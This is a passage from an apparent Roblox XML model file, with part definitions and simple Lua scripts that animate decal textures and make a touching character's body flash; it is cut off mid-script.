							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX37">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>1.89998043</Y>
							<Z>25.5</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>-0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>-0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX38">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>3.89997053</Y>
							<Z>25.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX39">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>2</X>
								<Y>2</Y>
								<Z>2</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX40">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>2.89997387</Y>
							<Z>25.5</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>-0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>-0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX41">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>3.4000001</Y>
							<Z>28</Z>
							<R00>-0</R00>
							<R01>-0</R01>
							<R02>-1</R02>
							<R10>-0</R10>
							<R11>-1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>-0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Infected</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">9</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX42">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX43">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">udcr5c0u3</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX44">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX45">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">iyfy2r</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX46">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX47">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">9sim</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX48">
						<Properties>
							<token name="Face">4</token>
							<string name="Name">Decal2</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX49">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ejg7aef</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="BlockMesh" referent="RBX50">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0</Y>
								<Z>5</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX51">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vh4np</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX52">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
